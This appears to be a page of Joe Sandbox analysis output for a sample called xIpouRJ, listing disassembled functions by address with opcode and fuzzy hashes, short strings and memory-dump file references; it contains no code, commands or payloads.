Similarity

API ID:
String ID: VUUU$gj
API String ID: 0-4043792639
Opcode ID: 6e56b7048915eea60f6c7fa07b4a2a1f241dbb8e600fad28f6f6e87222720951
Instruction ID: 4b7d357c48f135ed746d56c7c3c67d5944c19c0b85804c24aefaf0b1d0a38a30
Opcode Fuzzy Hash: 6e56b7048915eea60f6c7fa07b4a2a1f241dbb8e600fad28f6f6e87222720951
Instruction Fuzzy Hash: 3C32B172A18780CEE721CF35E8407ED7BB1F795388F104229EA899BA59DB79E544CF10

Function 00007FF6668F1FF0 Relevance: 3.0, Strings: 2, Instructions: 466COMMON

Download Yara Rule

Strings

VUUU, xrefs: 00007FF6668F2733
gj, xrefs: 00007FF6668F25A8

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: VUUU$gj
API String ID: 0-4043792639
Opcode ID: e2e5ff4ffa9fad2e6e6f2cd8d0328ddf34309e845268f4c2f4af7697c0544958
Instruction ID: 2df2e46174a624a5254cb92deb72530cc640ed10203a35f346ee5828797858ec
Opcode Fuzzy Hash: e2e5ff4ffa9fad2e6e6f2cd8d0328ddf34309e845268f4c2f4af7697c0544958
Instruction Fuzzy Hash: CD32BF72A186C0CEE725CF75E8507AD7BB0F799348F104229EA499BA99DB7DD580CF00

Function 00007FF6667F2F80 Relevance: 1.7, Strings: 1, Instructions: 444COMMON

Download Yara Rule

Strings

gfff, xrefs: 00007FF6667F33AF

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: gfff
API String ID: 0-1553575800
Opcode ID: a73450e3385708f8e0fefb8e981241a91eebd2b96a8ecb3135e8f1d05b774329
Instruction ID: 6501470a98c00c5400d79018030d73188c8e89ad5df089a5c104edb797963a29
Opcode Fuzzy Hash: a73450e3385708f8e0fefb8e981241a91eebd2b96a8ecb3135e8f1d05b774329
Instruction Fuzzy Hash: 0302512291CAC585E7218B39A060AB87FB5AFD17A0F544232DA59CF381CF3FAD45CB41

Function 00007FF666809BE0 Relevance: 1.7, Instructions: 1651COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 747eec2496516f4673e8428423fe6e1562e3c600914161432f5277b12bd1b249
Instruction ID: 17c80439ab1176e733f0752be004db9dbdd6ff8d365494bb04891bd8f6d8c59b
Opcode Fuzzy Hash: 747eec2496516f4673e8428423fe6e1562e3c600914161432f5277b12bd1b249
Instruction Fuzzy Hash: 81F2F373E24B8481D712CB39E4555AA77A4FBDA780F029326EF89A3B15DF39E191C700

Function 00007FF666904100 Relevance: 1.4, Strings: 1, Instructions: 197COMMON

Download Yara Rule

Strings

FlsSetValue, xrefs: 00007FF666904119

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: FlsSetValue
API String ID: 0-3750699315
Opcode ID: 7b7cf4f833fb52fd5b67e4185f18c3ff3b2c671dea26238a5d42788fc2db9320
Instruction ID: 37e929c1dd8c48fbf6f53eb4dfd1161a45d67002c24fe4d4d08526d758b4ab6c
Opcode Fuzzy Hash: 7b7cf4f833fb52fd5b67e4185f18c3ff3b2c671dea26238a5d42788fc2db9320
Instruction Fuzzy Hash: 1F71F897D4DAC7CBF3924A7C5C661693FA09BB1E0470E817DDB848E1C3ED5B28118E81

Function 00007FF666904128 Relevance: 1.4, Strings: 1, Instructions: 182COMMON

Download Yara Rule

Strings

FlsSetValue, xrefs: 00007FF666904119

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID: FlsSetValue
API String ID: 0-3750699315
Opcode ID: b0c20f2128046d4e976cfd360883a06b694f2a4f6cbe8150d86f263348d95193
Instruction ID: f766a029e17ae5c7dc58aaf24d5671705e3e876f7877fe3de6b64abf3bd8c8b5
Opcode Fuzzy Hash: b0c20f2128046d4e976cfd360883a06b694f2a4f6cbe8150d86f263348d95193
Instruction Fuzzy Hash: 5161F797D4DAC7CAF3924A7C5C261693FB09BB1E0474E817DDA84CE1C3ED5B28118E81

Function 00007FF66683B790 Relevance: 1.4, Instructions: 1392COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9cdc6765c8279592a42df6141888367db9b8a02cd537c3ae3de0e1bf9de86a27
Instruction ID: e46b5aa79adab3666b2b32c6f2ce82872eb020ddf0eb68574cf6a4386f341200
Opcode Fuzzy Hash: 9cdc6765c8279592a42df6141888367db9b8a02cd537c3ae3de0e1bf9de86a27
Instruction Fuzzy Hash: 12D2D163A24BC481EB12CF39E4116AAB760FBD9B84F019326EF8967715DF39D192C740

Function 00007FF666827120 Relevance: .9, Instructions: 912COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID:
API String ID: 3936158736-0
Opcode ID: ac0cfae63954fd029cd7a07ecc1a085169d50a8267deca8d21e43b7a810edb65
Instruction ID: 46f624a0a1169d651c0752e74f8309bd72d40e806ea5a507a35ed1089df2035b
Opcode Fuzzy Hash: ac0cfae63954fd029cd7a07ecc1a085169d50a8267deca8d21e43b7a810edb65
Instruction Fuzzy Hash: 4A82F173A24BC582D7219F25E4502AA73A0FBD9BC4F01932AEE8D67B15DF39E191C700

Function 00007FF666823610 Relevance: .9, Instructions: 911COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5873c833f3f11e6b75cb6876da753cc228930021b7d0be6342816bcc9426a03d
Instruction ID: 60f08652b60f79a3c7c882dc7e4fad1be82080d7b5eb679dceb4ba81d452e0f4
Opcode Fuzzy Hash: 5873c833f3f11e6b75cb6876da753cc228930021b7d0be6342816bcc9426a03d
Instruction Fuzzy Hash: F392D173E20B8086E702CF39D4559A977B0FB9A784F02A326EF8967B15DB39E151C740

Function 00007FF66681D860 Relevance: .9, Instructions: 873COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0089d186e3833ba5ee0241bfce45289ba717d913c591df0149d0d76d44396d2f
Instruction ID: 5dc169626e88bc4ba29fb5ec8cfa78f31ba5ec87c21764a278464b05044627e5
Opcode Fuzzy Hash: 0089d186e3833ba5ee0241bfce45289ba717d913c591df0149d0d76d44396d2f
Instruction Fuzzy Hash: 80927F73A14BC586EB21CF39D8525E9B760FBDA784F10A316EF89A6B05DB34D290C740

Function 00007FF66683A7B0 Relevance: .8, Instructions: 827COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 357220cc3a2cd9b16d17123bd395bd7149c0b31daf9196c6b3ad4a918a3e23f0
Instruction ID: 2bc0689213bcea5a0b050051ed5932137c6474071f7f9d93aea5482069a3efb9
Opcode Fuzzy Hash: 357220cc3a2cd9b16d17123bd395bd7149c0b31daf9196c6b3ad4a918a3e23f0
Instruction Fuzzy Hash: 92820673E20BC845D752CB39E4556AA73B4FB9A780F025326EF8963B05DB38E152C710

Function 00007FF66682A870 Relevance: .8, Instructions: 818COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 857563509d4d9fbe628fa1189287f5c0bd1ff0f3bd593ea74c0f9276d4dd9b97
Instruction ID: 1d97ae4382d0e8f4f655bd36fd069e0c2deee87c3c2bb27e3a58b6320775e2f0
Opcode Fuzzy Hash: 857563509d4d9fbe628fa1189287f5c0bd1ff0f3bd593ea74c0f9276d4dd9b97
Instruction Fuzzy Hash: B6723673E24B8846D7528B39E4556AA73B4FFEA780F025316EF8963B05DB38E152C710

Function 00007FF66681A810 Relevance: .8, Instructions: 813COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d8de66fb281d697301d0c790fc46a2e703a1ffe3934d5f66510af1a03c708cae
Instruction ID: 8dd35df27bd54cd771dac5e846c575f4c40dce055c411d6dfd978980d05a727a
Opcode Fuzzy Hash: d8de66fb281d697301d0c790fc46a2e703a1ffe3934d5f66510af1a03c708cae
Instruction Fuzzy Hash: 6C82A473A24B8086E712CF39E4515AAB7B0FBDA784F019316EF8967B05DB78E151C740

Function 00007FF666824740 Relevance: .8, Instructions: 760COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: fe35691ed39f86cbf512acc28616c289ef1567e59fb91820a87e693ef4df90db
Instruction ID: 3d7b0494f782e155414a6e6ea7ca23c8ee3be3ccf6ce1275b7973678e828703b
Opcode Fuzzy Hash: fe35691ed39f86cbf512acc28616c289ef1567e59fb91820a87e693ef4df90db
Instruction Fuzzy Hash: A6826C73A20BC486EB11CF3DC8515E9B360FBDA784B11A316EF89A6B16DB35D291C740

Function 00007FF66681B730 Relevance: .7, Instructions: 711COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b4ec1d020b0e762a02a33444d92618f1f83177819a17e9edf0d97d3d08b662f2
Instruction ID: 8e6cbe818781632ba2e5475e4b3cf359924de053ceca9b5bfb92968c08ef0e28
Opcode Fuzzy Hash: b4ec1d020b0e762a02a33444d92618f1f83177819a17e9edf0d97d3d08b662f2
Instruction Fuzzy Hash: EB62AD73A24BC48AEB11CF3DD4425A9B760FBDA784B11A316EE88A7B05EF34D191C740

Function 00007FF666821DA0 Relevance: .7, Instructions: 701COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1f5e6ffc16460c38d9b54c5c826b9d32aa89770877abfe179675dda36d7b0754
Instruction ID: 48a057b6a119ca9be0ccf11aa1c2cd01539c024d492d36ab7f02028dd438b066
Opcode Fuzzy Hash: 1f5e6ffc16460c38d9b54c5c826b9d32aa89770877abfe179675dda36d7b0754
Instruction Fuzzy Hash: DD62E273E20B8086E702CF39D4559AA77B0FB9A784F01A326EF8967B15DB39E151C740

Function 00007FF6668373A0 Relevance: .7, Instructions: 689COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID:
API String ID: 3936158736-0
Opcode ID: cc87284ec850b9663ca964c6c9cb72e03bec6151061a26e931dd1c292b8d8484
Instruction ID: 6a3fadda40dc59d83245036f384864a5470caf65f002e687824c490366a4f6e2
Opcode Fuzzy Hash: cc87284ec850b9663ca964c6c9cb72e03bec6151061a26e931dd1c292b8d8484
Instruction Fuzzy Hash: 5962E073A24BC582D7118F29E4516AA73B0FB99BC4F019326EE8D67B19DF39E191C700

Function 00007FF66680D0A0 Relevance: .7, Instructions: 686COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID:
API String ID: 3936158736-0
Opcode ID: b350cba7618616b258d657a7551bb90d76c456f01bba6ae7062a7fec01ee9835
Instruction ID: 2fdd0a0b1e5e922a4eb17bfe7fd3ac8a98c1bc683807ce51738f453293d06102
Opcode Fuzzy Hash: b350cba7618616b258d657a7551bb90d76c456f01bba6ae7062a7fec01ee9835
Instruction Fuzzy Hash: AC52F073A24BC582D7219F29E4506AA73B0FBD9B84F019326EE8D67B15DF39E191C700

Function 00007FF66680EE40 Relevance: .7, Instructions: 683COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a28cd183edccffc32ff2c089dd0b1e01d093f6ea7c7d9591f34708ba98a0527a
Instruction ID: 93d0a6018f338557f839077524f1e69fa397fee68e06e54cbb1da07323b9cfd1
Opcode Fuzzy Hash: a28cd183edccffc32ff2c089dd0b1e01d093f6ea7c7d9591f34708ba98a0527a
Instruction Fuzzy Hash: D6622673A34B8581D712CF29E4556AA77B0FBEA780F025326EF8963B05DB39E151C710

Function 00007FF666851E20 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359054168.00007FF666BDF000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1359075330.00007FF666BE1000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_7ff6667f0000_xIpouRJ.jbxd

Yara matches

Similarity

API ID: FeaturePresentProcessorcapture_previous_context
String ID:
API String ID: 3936158736-0
Opcode ID: a800e5cef6f5a85c84b9a924d9391002d60e80c1cdc32298f4da096965eb9e34
Instruction ID: 1894af792c57ac9f5d2b5382155997b505234f4514ccb61a333c0048bfe61e42
Opcode Fuzzy Hash: a800e5cef6f5a85c84b9a924d9391002d60e80c1cdc32298f4da096965eb9e34
Instruction Fuzzy Hash: C512B362B1468591E6109F22F8113EE6360FBD9BC4F488136EE8E9F74ACE3DE155CB50

Function 00007FF666819E70 Relevance: .5, Instructions: 548COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.1358633550.00007FF6667F1000.00000040.00000001.01000000.00000004.sdmp, Offset: 00007FF6667F0000, based on PE: true

Associated: 00000004.00000002.1358618951.00007FF6667F0000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF66693B000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BCB000.00000040.00000001.01000000.00000004.sdmpDownload File
Associated: 00000004.00000002.1358633550.00007FF666BDD000.00000040.00000001.01000000.00000004.sdmpDownload File
